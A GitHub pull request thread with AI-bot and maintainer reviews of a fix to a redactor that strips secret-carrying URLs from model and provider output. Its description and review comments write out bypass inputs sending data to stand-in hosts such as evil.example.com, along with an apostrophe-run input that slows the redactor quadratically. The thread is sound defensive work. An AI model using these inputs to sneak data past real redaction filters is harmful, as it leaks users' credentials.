Skip to content

fix: scan whole URL past sub-delims in exfil redactor (#7611) - #7666

Closed
patrigao wants to merge 1 commit into
mainfrom
fix/url-scan-paren-truncation-7611
Closed

patrigao wants to merge 1 commit into
mainfrom
fix/url-scan-paren-truncation-7611

Conversation

@patrigao

@patrigao patrigao commented Sep 1, 2026 •

Copy link
Copy Markdown
Contributor

Problem / Motivation

The exfiltration URL scanner could stop before a secret-bearing query. _URL_RE treated punctuation used by renderers as URL terminators, so input such as <a href="https://evil.example/a<b?data=<blob>"> matched only through /a. The later query escaped every credential and entropy check.

The same class previously affected parentheses and apostrophes in paths. A scanner needs the maximal suspicious span, not the narrower span an emitter or linkifier chooses to render.

Why it matters

Provider- and model-controlled text passes through redact_exfiltration_urls before reaching users. One punctuation byte could hide a credential-like query and let the original URL survive redaction.

What changed (motivation → approach → change)

src/kiro_crew/security/exfil.py now gives _URL_RE only two hard terminators: whitespace and double quote. Single quotes, parentheses, angle brackets, and backticks remain URL content during classification. The double quote still bounds quoted HTML attributes and compact structured fields. Ambiguous prose is over-scanned rather than leaving payload bytes unscanned.

_url_scan_span applies one terminal wrapper-pair rule to (...), '...', <...>, and backtick pairs. It removes at most one structurally proven closer. Distinct closers must outnumber their opener inside the match, so balanced URL content stays included. The existing delimiter-only quote suffix and wrapper-closer-through-punctuation rules remain intact. This keeps <https://host/path?data=<blob>>, backtick-wrapped URLs, and [x](url). wrappers outside the replacement span while still scanning their URL content.

The existing host-bearing inner-URL boundary, glued-span trust removal, ASCII case-folding, raw-IP host coverage, host-only query coverage, and right-to-left span replacement remain part of the same scanner model. docs/system-specs/modules/security.md documents the terminal wrapper-pair invariant.

Tests

test/test_security.py adds red-first coverage for raw HTML URLs containing <, >, and backtick before a query. It also proves angle-autolink and backtick wrappers are part of the maximal regex match but remain outside the redaction span.

The accumulated controls still cover interior apostrophes, markdown closers followed by punctuation, bare trailing-parenthesis length accounting, wrapper-only suffixes, glued URLs, uppercase schemes, and exact span replacement. test/test_source_providers.py keeps the provider-data entry point covered.

Validation after rebasing onto current main: 1,708 tests passed (test/test_security.py: 1,047; test/test_source_providers.py: 661). Black 26.3.1, isort, and flake8 passed on the changed Python files.

Manual verification

N/A — unit coverage exercises both classification and exact redaction spans through the public scanner and provider-data entry point.

Related Issues

Fixes #7611

Pattern harvest

Rule candidate: review-prompt
Pattern: a scanner reused an emitter's punctuation boundaries, so legal or renderer-specific delimiters truncated inspection before a sensitive suffix.

Checklist

  • At most two commits (one is the norm), with a Conventional Commits title (feat|fix|docs|refactor|perf|test|chore|ci|build|revert: ...)
  • Existing tests pass and new tests added for new functionality
  • Self-review completed; code follows project style guidelines
  • Documentation updated (if applicable)
  • No secrets, credentials, or internal references in the diff

@patrigao
patrigao requested review from a team and bolichen97 September 1, 2026 15:48
@github-actions github-actions Bot added the readiness: checking Automated validation is still running label Sep 1, 2026
@github-actions

github-actions Bot commented Sep 1, 2026 •

Copy link
Copy Markdown
Contributor

Design Review (Fable 5) — 🟡 CONCERNS

Design-level review of 74c1eb4c32304d9033444f2ea83ba8bedebfdb0e — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

Design-Verdict: CONCERNS

Four scanner behavior changes ship labeled as pre-existing — case-folding, inner-URL split, glued-trust removal, span-splice redaction — so reviewers audit them as settled, not new.

Watch

  • Description → diff fidelity: "The existing host-bearing inner-URL boundary, glued-span trust removal, ASCII case-folding … and right-to-left span replacement remain part of the same scanner model" — but the base _URL_RE has no IGNORECASE, no (?!https?://<host>) split, no glued handling, and redaction used str.replace; all four land in this diff. Each changes what an exfil-boundary scanner accepts or exempts (glued-trust removal newly strips host/presigned exemptions), and the description steers human review away from them.
    Clears when: the "What changed" section names these as changes this PR introduces (or they move to their own PR).
  • The class this PR closes stays open in the frontend mirror: website/src/utils/sanitize.ts:121 still terminates at ' and > ([^\s)"'>]), and URL_TAIL_RE extends the span only when the stop byte is ) — so https://host/a>b?data=<blob> is truncated before its query browser-side while the backend now scans it. The mirror-parity contract just diverged on exactly the bypass shape the PR names.
    Clears when: a follow-up issue/PR ports the two-terminator model to sanitize.ts, or the security.md mirror bullet records why the mirror's inputs are always backend-redacted first.

[DESIGN-REVIEWED] 74c1eb4

@github-actions

github-actions Bot commented Sep 1, 2026 •

Copy link
Copy Markdown
Contributor

First Principles Review (Fable 5) — ✅ PASS

Premise-level review of 74c1eb4c32304d9033444f2ea83ba8bedebfdb0e — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

First-Principles-Verdict: PASS

Frontend mirror website/src/utils/sanitize.ts:121 still uses the old terminator class — ' and > can hide a query there (only ) gets URL_TAIL_RE coverage); confirm that deferral is intended.

Not justified as shipped

  • Item 5 — rides along: re.IGNORECASE | re.ASCII closes the separate uppercase-scheme bypass; the description frames it as "existing", but the base regex had no flags. RFC 3986-derived and red-tested, so it carries no premise risk.

What this change ships

Inventory (7 items) — 6 justified

Intent: stop a secret-bearing URL query from escaping exfil redaction when renderer punctuation sits in the path — a FIX (issue #7611, red-first tests).

  1. URLs with (, ), ', <, >, or backtick in the path/query are now fully scanned and redacted — justified
  2. A markdown/quote/autolink/backtick wrapper around a flagged URL stays outside the redaction span — justified
  3. Glued back-to-back URLs split and classify under their own host — justified
  4. A glued span loses exact-host and presigned exemptions — justified
  5. Uppercase-scheme URLs (HTTPS://) are now scanned — rides along: a distinct pre-existing bypass, framed as existing behavior
  6. Redaction splices exactly the flagged span once, instead of rewriting every occurrence of its text — justified
  7. security.md documents the terminator and wrapper-pair model in the same commit — justified

[FIRST-PRINCIPLES-REVIEWED] 74c1eb4

@github-actions

github-actions Bot commented Sep 1, 2026 •

Copy link
Copy Markdown
Contributor

Opus 5 Review — 🔴 changes requested (blocking)

Reviewed 74c1eb4c32304d9033444f2ea83ba8bedebfdb0e — this comment is updated in place on each push.

Two added lines in _url_scan_span reopen the bypass this PR exists to close and add a quadratic blow-up on the synchronous redaction path.

[BLOCK-MERGE] 74c1eb4

BLOCKING — src/kiro_crew/security/exfil.py:171

            dropped = path_and_query[quote_end + 1 :]
            if "?" in dropped or _HARD_CREDENTIAL_RE.search(dropped):

'https://evil.example.com/a?x=1',aB3dE5fG7hJ9kL1mN3pQ5rS7tU9vW1xY3zA5bC7d → _URL_RE now consumes ', so group(3) == "/a?x=1',aB3d…"; in the single-quote branch quote_end == 6, following == "," passes, and the gate accepts the trim because dropped == ",aB3d…" has no ? and AKIA|ASIA/xox/PEM do not match a generic base64 run → trimmed == "/a?x=1", query == "x=1", _exfil_url_warning returns None → scan_exfiltration_urls is empty and redact_exfiltration_urls leaves the 40-char blob in the text. The comment's own premise ("a base64/entropy run only matters query-side, so the ? test already subsumes it") fails whenever the ? sits in the RETAINED prefix, which makes the entire dropped tail query bytes.
Fix: test the whole span, not the tail — if "?" in path_and_query or _HARD_CREDENTIAL_RE.search(dropped): continue.

BLOCKING — src/kiro_crew/security/exfil.py:170

            dropped = path_and_query[quote_end + 1 :]
            if "?" in dropped or _HARD_CREDENTIAL_RE.search(dropped):
                continue

"'https://x.example.com/" + "',"*50_000 + "?" (model/tool/provider text, no whitespace, no ") → preceding == "'" selects this branch, every one of the 50 000 apostrophes passes following in ",}]:", and each allocates an O(n) slice plus an O(n) in scan before the trailing ? forces continue — ≈5·10⁹ char ops per call, growing quadratically (seconds at 100 KB, minutes at 1 MB) on redact_exfiltration_urls, which runs synchronously from state._broadcast_chat_message / chat_utils._prepare_messages / _redact_provider_data on the gateway loop; test_trailing_paren_trim_is_linear guards only the ) branch.
Fix: hoist the payload test out of the loop — compute path_and_query.find("?") (and the hard-credential match position) once and compare against quote_end in O(1).

FINDING — src/kiro_crew/security/exfil.py:179 — widening the class to [^\s\"] without a matching span cap means any flagged URL whose wrapper-pair trim does not fire swallows the following markup into the redaction span: <a href='https://evil.example.com/a?data=<blob>'>label</a> has following == ">" (not in ",}]:", not at structural_suffix_start), so no trim runs and the spliced result is <a href=[REDACTED: suspicious URL to evil.example.com] — the label and closing tag are deleted from the persisted body (pre-change the ' terminated the match and only the URL was replaced); same shape for [a](url1)[b](url2) and <url>text → Fix: in _url_scan_span, when no wrapper-pair proof fires, cut the span back to the first unbalanced wrapper closer (matching the linkTarget/trimWrapperParen cut the frontend mirror already uses) so only URL bytes enter the replacement span.

[OPUS-REVIEWED] 74c1eb4

Verdict parsed from the review's SHA-scoped output markers for commit 74c1eb4c32304d9033444f2ea83ba8bedebfdb0e.

False positive or not applicable? A repository writer can comment:
/ai-review override fable 74c1eb4c32304d9033444f2ea83ba8bedebfdb0e: <one-sentence reason>

Comment thread test/test_security.py Fixed
@patrigao
patrigao force-pushed the fix/url-scan-paren-truncation-7611 branch from d3be11b to 7733651 Compare September 1, 2026 16:40
@patrigao

patrigao commented Sep 1, 2026

Copy link
Copy Markdown
Contributor Author

🤖 Kiro Crew Auto-Pipeline [operator: patrigao]: Addressed both red gates on head 7733651.

  • Backend Lint (black): test/test_security.py is now black-clean (--target-version py310); it was the only new offender, the baselined files are untouched so no unrelated churn.
  • CodeQL "Incomplete URL substring sanitization" (test/test_security.py): fixed — the flagged line was a test assertion "evil.example.com" in warnings[0]. It is test-only (asserting which host a warning names, not a production auth/sanitization check), but the substring form trips the query. Rewrote it as warnings[0].endswith(": evil.example.com"), which matches the exact Suspicious URL ...: {domain} warning suffix — a precise, non-substring check that both clears the alert and tightens the test. No production sanitization path uses a hostname substring check; redaction is span-precise on the matched URL.

@github-actions

github-actions Bot commented Sep 1, 2026 •

Copy link
Copy Markdown
Contributor

GPT 5.6 Review — ✅ no blocking findings

GPT 5.6 completed its review of 74c1eb4c32304d9033444f2ea83ba8bedebfdb0e and found no blocking issues.

This comment is updated in place on each push.

Review details

FINDING -- src/kiro_crew/security/exfil.py:151 -- Single-quoted HTML URLs followed by > consume the remaining tag and text because following in ",}]:" rejects the closing quote -> Fix: include > as a valid boundary.
[GPT-REVIEWED] 74c1eb4

False positive or not applicable? A repository writer can comment:
/ai-review override gpt 74c1eb4c32304d9033444f2ea83ba8bedebfdb0e: <one-sentence reason>

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Sep 1, 2026
@patrigao
patrigao force-pushed the fix/url-scan-paren-truncation-7611 branch from 7733651 to 153efd3 Compare September 1, 2026 21:36
@patrigao

patrigao commented Sep 1, 2026

Copy link
Copy Markdown
Contributor Author
  • Nested URLs can inherit a trusted-host exemption — disposition: fixed in 153efd3.

Outer evil URL containing a trusted nested URL -> regex splits at the inner scheme -> trusted-host exemption skips its high-entropy query -> payload reaches the evil host unredacted.

Confirmed legitimate. Fixed with a stronger invariant than the suggested "split only after a )/' wrapper delimiter": that narrowing is itself bypassable, because the glue character before the inner scheme is attacker-chosen — https://evil.tld/?q=)https://tenant.tld/?nav=<base64> places a ) at the boundary and re-opens the same leak through the narrowed split. Instead, the split stays as-is and the exemption is denied for any match that starts exactly where the previous match ended (match.start() == prev_end in both scan_exfiltration_urls and redact_exfiltration_urls): a glued span exists only because the boundary lookahead split one unbroken run of URL-legal text, and in raw channels those bytes travel to the FIRST host, so the span may not claim its own host's trust — no exact-host exemption and no presigned exemption; full heuristics always. Standalone (whitespace/terminator-delimited) exempt URLs keep the exemption unchanged.

Regression tests: test_glued_exempt_host_span_is_not_exempt (evil outer + glued exempt tenant carrying a >200-char base64 nav= payload — fails on the old code, payload now flagged and redacted) and test_exempt_host_after_whitespace_keeps_exemption (non-glued exempt URL right after another URL stays exempt). Existing test_glued_second_url_scanned_under_its_own_host and test_markdown_wrapped_presigned_url_still_exempt still pass.

@patrigao

patrigao commented Sep 1, 2026

Copy link
Copy Markdown
Contributor Author
  • Trailing parenthesis payloads are removed from inspection — disposition: fixed in 153efd3.

URL query ending with 200+ legal ) characters -> loop trims the entire payload -> length heuristic sees only the prefix -> URL passes unredacted.

Confirmed legitimate — the while loop violated the trim's own documented invariant ("never a payload run") for a PURE ) run, where openers==0 keeps closers > openers true all the way down. Applied the suggested fix: the trim is now an if that removes AT MOST ONE unbalanced trailing ) (the single markdown [x](url) wrapper). A longer run stays in the scanned span, so its bytes count toward the length heuristic; the one stray closer a double-wrapped ((url)) leaves behind is merely over-scanned — a bounded false positive, never an unscanned byte.

Regression test: test_pure_trailing_paren_run_stays_in_span (?d= + 250×) — fails on the old code, now flagged by the length heuristic and redacted). Wrapper behaviour is unchanged and still locked by test_markdown_wrapped_presigned_url_still_exempt (the trimmed single ) is what keeps a wrapped presigned URL structurally valid) and test_benign_wiki_paren_url_not_flagged (balanced interior paren preserved).

@patrigao
patrigao force-pushed the fix/url-scan-paren-truncation-7611 branch from 153efd3 to 63afb4d Compare September 1, 2026 22:31
@patrigao

patrigao commented Sep 1, 2026

Copy link
Copy Markdown
Contributor Author
  • Unwrapped URL loses a legal payload byte — disposition: fixed in 63afb4d.

200-character query ending in ) -> _url_scan_span trims it to 199 -> length check passes -> URL is emitted unredacted.

Confirmed legitimate; applied the suggested fix. The trailing-) trim now requires the structural wrapper proof — the character immediately preceding the URL must be the matching ( — exactly mirroring the quote-wrapper rule that already required the same quote on both sides. A bare URL whose query legally ends in one unbalanced ) keeps that byte, so a query of exactly _EXFIL_QUERY_MIN_LEN characters no longer slips under the length heuristic; a [x](url) / (url) wrapper still sheds exactly its one wrapper byte, and the attacker can only make a byte leave the span by also placing the paired ( before the URL — bounding the slack to the wrapper byte itself.

Span note for the ledger: this is the second round landing in _url_scan_span (round 3: run-trim; round 4: wrapper proof). The invariant is now terminal — a byte leaves the span only when a wrapper pair is structurally proven on both sides (same-quote rule for quotes, preceding-( rule for the paren), and never more than one byte. Regression tests: test_bare_url_trailing_paren_counts_toward_length (bare 200-char query ending in ) — fails on the prior code, flagged now; wrapped 199-char control still sheds only its wrapper and stays clean), plus round-3's test_pure_trailing_paren_run_stays_in_span, and the pre-existing test_markdown_wrapped_presigned_url_still_exempt / test_benign_wiki_paren_url_not_flagged all pass.

@patrigao

patrigao commented Sep 1, 2026

Copy link
Copy Markdown
Contributor Author
  • Less-than sign still bypasses redaction in raw HTML links — disposition: needs-a-decision (maintainer ruling requested; span _URL_RE/_url_scan_span, hit count 3 — stall rule engaged, no further patch without a ruling).

Raw <a href="https://evil.example/a<b?data=<40-char-blob>"> -> redactor truncates at < -> MarkdownRenderer preserves the href -> clicking sends the unredacted query.

Legitimacy check (done before escalating): the chain is reachable — website/src/components/MarkdownRenderer.tsx imports rehypeRaw, so raw HTML anchors render, and inside a double-quoted attribute value < is legal content up to the closing ". The finding holds.

Why I am not pushing a fourth patch: this is the third consecutive round landing in the same span, and all three findings relitigate one design question — which delivery-channel model defines where a URL span ends?

Round Head judged Finding Patch applied
3 7733651 trailing ) RUN trimmed wholesale → length heuristic saw only the prefix trim at most one unbalanced ) (153efd3)
4 153efd3 single trailing ) trimmed without wrapper proof → exactly-threshold query slipped under the length check trim requires the preceding ( structural proof (63afb4d)
5 63afb4d < treated as a hard terminator → span truncated inside a quoted raw-HTML href; query escapes every scan stopped here

The class currently stops at whitespace + " < > ` on the documented premise that these are "illegal raw in a URL, so every linkifier, renderer, and unfurler stops there." Round 5 falsifies that premise for < (and symmetrically > and the backtick) inside quoted attribute values under rehype-raw. Point-removing < as suggested buys round 6 on > or the backtick by the same mechanism.

The ruling requested — pick one:

  1. Adopt the terminal wrapper-pair model. Hard terminators shrink to whitespace and " only (the " is load-bearing: it is what ends a quoted href value in real HTML parsing, and removing it would swallow document text into spans). Everything else — ', (), <>, ` — becomes URL content, with the existing at-most-one, structurally-proven wrapper trim generalized to each pair ('↔' exists, (↔) exists; <↔> and backtick pairs added the same way, which also keeps <https://a.com> autolinks exact). This closes the whole class at the cost of over-scanning in prose channels — bounded false positives, the safe direction — and one more amend to this PR.
  2. Accept the raw-HTML residual and override. Keep the current terminator set, record </>/backtick-in-quoted-attribute as an accepted residual risk, and clear the gate with /ai-review override gpt 63afb4d865e36f16f7708af7f599695c66bc1c7d: <reason>. Fastest, but the residual is a real exfil channel wherever raw HTML renders.
  3. A different design you prefer (e.g., abandon in-pattern terminators and scan whole whitespace-delimited tokens) — say the word and I will implement it as the next amend.

Option 1 is my recommendation: it is the invariant that makes all three rounds' findings unreachable at once, rather than a fourth point-fix.

@bolichen97

Copy link
Copy Markdown
Contributor

Open PR relationship audit

This is a consolidated, point-in-time code-level audit note. It compares complete merge-base diffs and current/merged code; it does not treat a shared topic as duplication or partial coverage as completion.

Relationship findings

  • This PR is OVERLAPPING with PR #8291. The goals differ or the implementations can complement each other; this is not a duplicate claim. Recommended action for PR #7666: CONTINUE_DEVELOPMENT. Same statement in redact_exfiltration_urls, different goals. Agree a landing order and make the second PR re-apply the first's change rather than resolving the conflict by dropping half of it. Files: src/kiro_crew/security.py, website/src/utils/sanitize.ts.

No PR, Issue, label, branch, or review state was changed by the relationship-note portion of this audit.

@github-actions github-actions Bot added the merge conflict Branch has merge conflicts with its base — author must resolve before merge label Sep 7, 2026
@bolichen97
bolichen97 force-pushed the fix/url-scan-paren-truncation-7611 branch from 63afb4d to e347365 Compare September 8, 2026 17:21
@bolichen97

Copy link
Copy Markdown
Contributor

Rebased onto main 8534cbf75 by a maintainer as part of the 2026-09-08 open-PR audit.

Conflicts and how they were resolved:

  • src/kiro_crew/security.py (modify/delete): merged refactor(security): split security.py into a package and drop path regex #9183 split the module, so every src hunk was moved verbatim into src/kiro_crew/security/exfil.py (_URL_HOST, the widened _URL_RE + re.IGNORECASE | re.ASCII, _url_scan_span, the glued-span rule in scan/redact, the right-to-left span splice). The splice now emits main's exported EXFILTRATION_REDACTION_TAG_PREFIX instead of the inline tag literal, so nothing from that landing is dropped.
  • docs/system-specs/modules/security.md: kept main's current exfil bullets and re-inserted this PR's added paragraph into the same bullet.
  • Blank-line/black fixes were needed because the new home is not in .github/black-baseline.txt (the old security.py was).

Gates run locally on changed files: black --check, isort, flake8 clean; pytest test/test_security.py -k "xfil or edact or Url" 306 passed, test/test_source_providers.py (url/redact) 80 passed, test/test_redaction_mirror_parity.py 10 passed. test/test_source_providers.py remains unformatted, as it already was on main (baselined).

Please review the resolution. A maintainer push makes the maintainer the last pusher, so a second approver is needed under the repo's last-push rule. Reply if anything looks wrong.

@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Sep 8, 2026
@patrigao

patrigao commented Sep 8, 2026

Copy link
Copy Markdown
Contributor Author

Reviewed the resolution — it is faithful. I diffed the added source lines of the pre-rebase head (63afb4d86, hunks in security.py) against the ported hunks in security/exfil.py on e34736583: identical except the two deltas you named — black joining the https?:// fragment with the host group, and the splice emitting EXFILTRATION_REDACTION_TAG_PREFIX (whose value "[REDACTED: suspicious URL to " produces byte-identical redaction output to the previous inline literal). One small drop in the move: the 4-line comment above _URL_HOST explaining why the host shapes are spelled once and reused in the boundary lookahead. Not load-bearing; happy to restore it in a follow-up push if you want it kept.

Doc and test deltas vs main match the original PR exactly (test/test_security.py +248, test/test_source_providers.py +12, one doc bullet). Thanks for the rebase and the local gate run.

Note for reviewers: the round-5 needs-a-decision escalation (comment 5501586422) is still open — the _URL_RE/_url_scan_span span is intentionally unchanged pending a ruling on the three options posted there.

@github-actions github-actions Bot added the readiness: action required A blocking check or review needs attention label Sep 16, 2026
@patrigao
patrigao force-pushed the fix/url-scan-paren-truncation-7611 branch from 253f008 to 95584ad Compare September 16, 2026 20:13
@patrigao

Copy link
Copy Markdown
Contributor Author
  • Less-than sign still bypasses redaction in raw HTML links — disposition: fixed in 95584ad.
    self-added: no
    mechanism: terminal wrapper-pair model (maintainer design ruling, option 1 of the needs-a-decision record) — hard terminators shrink to whitespace + "; ' () <> and backtick become URL content with the structurally-proven at-most-one wrapper trim generalized to each pair

Maintainer ruling received from @patrigao on the needs-a-decision record: adopt the terminal wrapper-pair model. This is the invariant that makes the round-3/4/5 findings unreachable by construction, not a fourth point-fix — the stall rule on _url_scan_span is satisfied by design change, and the >/backtick round-6 variants are preempted by the same mechanism.
Fix: the scanner's terminator set is now whitespace + " only (the " stays load-bearing — it is what ends a quoted href in real HTML). _URL_WRAPPER_PAIRS generalizes the wrapper trim to (↔), '↔', <↔>, and backtick pairs, walking back through sentence punctuation with the balanced-count structural proof; <https://a.com> autolinks stay exact. Ambiguous punctuation remains inside the scanned span — over-scanning is the accepted safe direction for a redactor. Repair delegated to a GPT-family model (gpt-5.6-sol; served model unverified).
Red-first: 5 new cases fail on 253f008 and pass on 95584ad — the raw-HTML < attack (full quoted href redacted including the query blob), the symmetric > and backtick variants, and both wrapper-trim-from-maximal-match cases; interior-apostrophe, markdown-closer, and bare-URL trailing-) controls unchanged; all prior paren/quote regressions hold. 1,708 tests green; black 26.3.1 + isort + flake8 + push_guard clean. Security spec and PR body updated to the new terminator model.

@github-actions github-actions Bot added the merge conflict Branch has merge conflicts with its base — author must resolve before merge label Sep 22, 2026
Co-authored-by: patrigao <112447010+patrigao@users.noreply.github.com>
@iamwhatever
iamwhatever force-pushed the fix/url-scan-paren-truncation-7611 branch from 95584ad to 74c1eb4 Compare September 27, 2026 11:25
@iamwhatever
iamwhatever requested a review from a team as a code owner September 27, 2026 11:25
@iamwhatever iamwhatever added the drive-to-green PR claimed by drive-to-green pipeline label Sep 27, 2026
@iamwhatever iamwhatever self-assigned this Sep 27, 2026
@iamwhatever iamwhatever removed the merge conflict Branch has merge conflicts with its base — author must resolve before merge label Sep 27, 2026
@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Sep 27, 2026
@iamwhatever

Copy link
Copy Markdown
Contributor

_url_scan_span single-quote close needs a maintainer ruling on head 74c1eb4c3

Opus 5 blocks head 74c1eb4c3 with two findings on the single-quote branch of _url_scan_span, and they trace to one design tension that a point-fix cannot resolve.

Opus's two findings

  1. Bypass reopens when ? sits in the retained prefix. 'https://evil.example.com/a?x=1',<40-char-base64-blob> → _URL_RE now consumes the ', so group(3) == "/a?x=1',<blob>". The interior ' (followed by ,) is accepted as the wrapper close because the dropped tail ",<blob>" has no ? and matches no hard-credential pattern → the span trims to /a?x=1 and the base64 blob after the apostrophe escapes scan and redaction. The gate tested the dropped tail for a ?, but the ? is in the part that is kept.
  2. O(n²) on the synchronous redaction path. A run of many apostrophes each followed by a delimiter (', × N, then a trailing ?) makes every apostrophe allocate an O(n) slice and an O(n) scan before continue — quadratic on redact_exfiltration_urls, which runs synchronously on the gateway loop. test_trailing_paren_trim_is_linear guards only the ) branch.

Why the two pinned tests are irreconcilable under an interior-apostrophe close. Closing finding (1) means refusing the trim whenever a ? precedes the interior close — i.e. over-scanning the whole run. But test_single_quoted_url_redaction_preserves_adjacent_sha requires trimming at exactly such an interior close: 'url':'https://…/p?data=<blob>','sha':'<40-hex>' must redact only the URL and keep the neighbouring sha field, and its ? is present before the close. So the same rule that closes the bypass over-redacts the benign neighbour field and breaks that test (the adjudicator-verified over-redaction fix). No syntactic gate separates the two cases, because an attacker can wrap the payload as a fake quoted field — 'https://evil/a?x=1','k':'<blob>' — which is byte-shaped like the compact-JSON case. This is the same root question this span stalled on across earlier rounds (which delivery-channel model defines where a URL span ends).

Options (a maintainer ruling is required because 1 and 2 change a pinned redaction contract, and the finding is security-class so a writer disposition cannot clear it):

  1. Over-scan and relax test_single_quoted_url_redaction_preserves_adjacent_sha — when a ? precedes an interior-apostrophe close, refuse the trim and redact the whole run (including an adjacent field). Closes the bypass; accepts irreversible neighbour-field over-redaction as the fail-closed direction. Recommended — a redactor should fail closed, and closing a live exfil bypass outweighs preserving a benign neighbour field.
  2. Drop interior-apostrophe closing entirely (terminal-only wrapper trim) — same over-scan consequence for compact JSON.
  3. Accept the narrow bypass as documented residual and fix only the O(n²) (hoist the ?/credential search out of the loop) — requires a security /ai-review override on the Opus finding.
  4. A different span model you direct.

Could a maintainer rule between these? The span is parked pending that ruling — no further patch will be pushed until then.

@iamwhatever iamwhatever removed the drive-to-green PR claimed by drive-to-green pipeline label Sep 27, 2026
@github-actions github-actions Bot added the merge conflict Branch has merge conflicts with its base — author must resolve before merge label Sep 29, 2026

Copy link
Copy Markdown
Contributor

PR triage (2026-10-05): PARTIALLY_COVERED on main, OVERLAPPING with open PRs, needs a rebase, keep open

I read the full diff at head 74c1eb4 against merge base 19b157d: 4 files, +531/−17 (security/exfil.py, test_security.py, test_source_providers.py, security.md). I compared it with origin/main at af1eb61.

#7611 (Issue, open) is still live on the backend. I ran scan_exfiltration_urls on origin/main with a 41-char base64 query placed after a)b, a'b and a>b in the path, and with an uppercase HTTPS:// scheme. All four return []. #13940 (PR, merged 2026-09-26) only ported the ) fix to the frontend mirror (website/src/utils/sanitize.ts). It does not change exfil.py. So main covers part of the goal, not all of it, and this PR is not superseded. Since the merge base, the only change to exfil.py on main is #14785 (the base64 = padding regex), and it does not conflict.

Overlapping open PRs. Each edits the same scan/redact loop in exfil.py with a different goal. None duplicates this one, but they need an agreed landing order:

Whichever PR lands second has to carry the other's change forward rather than drop it.

Breaking change / P0: I am not flagging a new P0. The existing Opus 5 block on this head already covers both points, so I am not adding a duplicate request-changes. I reproduced it on the head:

  • 'https://evil.example.com/a?x=1',<40-char base64> → the PR's scanner returns []. This is not a regression: main also misses it, because ' terminates the match there.
  • <a href='https://evil.example.com/a?data=<blob>'>label</a> → the PR's output is <a href=[REDACTED: suspicious URL to evil.example.com]. The >label</a> after the URL is deleted. On main, ' ended the span. This is a new over-redaction and should be fixed before merge.
  • The apostrophe-run timing ("',"×N + "?") is superlinear but bounded in practice: 0.18 s at N=50k, 1.36 s at N=200k. Hoisting the ?/credential search out of the loop, as Opus suggested, still applies.

Rebase needed: the branch is dirty and 1,215 commits behind. git merge-tree reports a content conflict in docs/system-specs/modules/security.md. exfil.py and both test files auto-merge.

Recommendation: REBASE + CONTINUE-DEVELOPMENT. Keep this open, because it is the only backend fix for #7611. A maintainer still needs to rule on the single-quote close (the options in the 2026-09-27 comment). Two Design Review items are also still open:

  • The description calls the case-folding, glued-span and span-splice changes "existing", but this PR introduces them.
  • The frontend mirror still stops at ' and >.

@bolichen97 bolichen97 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not ready. The Opus block on this head still reproduces, and the branch needs a rebase before CI means anything.

Head reviewed: 74c1eb4. Bots read: Design CONCERNS, First Principles PASS, UX PASS, Opus BLOCK, GPT no blocking, readiness action required.

🔴 1 must-fix · 🟡 1 should-fix. I do not repeat the Design Review items. They are still open on this head: the "What changed" text calls the case-folding, glued-span and span-splice changes "existing", and the frontend mirror still stops at ' and >.

I reproduced these on the head with the public scanner and redactor:

  1. 'https://evil.example.com/a?x=1',<40-char base64> -> scan_exfiltration_urls returns []. Main also misses it, so this is a residual, not a regression.
  2. <a href='https://evil.example.com/a?data=<blob>'>label</a> tail -> <a href='[REDACTED: suspicious URL to evil.example.com] tail. The label and closing tag are gone.
  3. <https://evil.example.com/?d=<blob>>text after -> <[REDACTED: ...] after. The word text is gone.
  4. "'," repeated N times, then ?, after a single-quoted URL: 0.21 s at N=50k, 2.8 s at N=200k. Time grows faster than linear on a synchronous redaction path.

The single-quote close has waited for a ruling since 2026-09-27. Inline comment 1 gives a span model that I think closes the bypass and keeps test_single_quoted_url_redaction_preserves_adjacent_sha, so options 1 to 3 in that comment may not be necessary.

Rebase notes:

  • Since this branch was cut, main changed security/exfil.py in several PRs (#12684, #14785, #18392, #20905, #20550). Re-run the full suite and the AI lanes after the rebase. The current red checks (Fast Gate, PR Hygiene, Comment History Gate, Coverage Gate, Security Scope Review) are from the September head.
  • security/exfil.py is in the file-line-cap baseline on main, and this PR adds about 146 lines to it. Run scripts/check_file_line_cap.py after the rebase. If it fails, move _url_scan_span and its constants to a sibling module.
  • #14783 and #10192 are still open and edit the same scan and redact loop. Whichever lands second must carry the other forward.

# gate can only SKIP an apostrophe (lengthening the span, the safe
# over-scan direction), never accept one it rejected before.
dropped = path_and_query[quote_end + 1 :]
if "?" in dropped or _HARD_CREDENTIAL_RE.search(dropped):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 Decide the trim on the maximal span, not on the dropped tail. This closes the bypass and removes the quadratic loop.

The gate tests the dropped tail for ?, but the ? can be in the retained prefix. Then the whole tail is query bytes. For 'https://evil.example.com/a?x=1',<blob>, the trim stops at the interior ', the classifier sees only x=1, and the blob is not scanned. The same loop slices and scans the tail once per candidate apostrophe, so a run of ', makes it O(n²) on the redaction path. I reproduced both on this head (summary items 1 and 4).

            dropped = path_and_query[quote_end + 1 :]
            if "?" in dropped or _HARD_CREDENTIAL_RE.search(dropped):
                continue

Why it matters: this is the bypass the PR exists to close, in its single-quote form. The comment above the gate states the premise ("the ? test already subsumes it"), and that premise is false when the ? is before the close.

Suggestion: make _url_scan_span return two spans: the maximal regex span and the wrapper-trimmed span (first acceptable closer, no per-candidate tail scan, so O(n)). Then classify and redact like this:

  • If the trimmed span is flagged, redact only the trimmed span.
  • Else, if the maximal span is flagged, redact the maximal span.
  • Else, the URL is clean.

test_single_quoted_url_redaction_preserves_adjacent_sha still passes, because its blob is inside the trimmed span, so the sha field is kept. The attack shape is flagged only by the maximal span, so the whole run is redacted. The over-redaction happens only on input that carries a payload after the close. Add the attack input as a red-first test, and add a timing test for the ', run next to test_trailing_paren_trim_is_linear. If a maintainer prefers one of the options in the 2026-09-27 comment, I will withdraw this suggestion; the bypass finding itself stays.
Rule: AGENTS.md "Security invariants"; reviewer WHAT-BLOCKS list (reachable security defect).

end = quote_end
break
else:
wrapper_end = end

Copy link
Copy Markdown
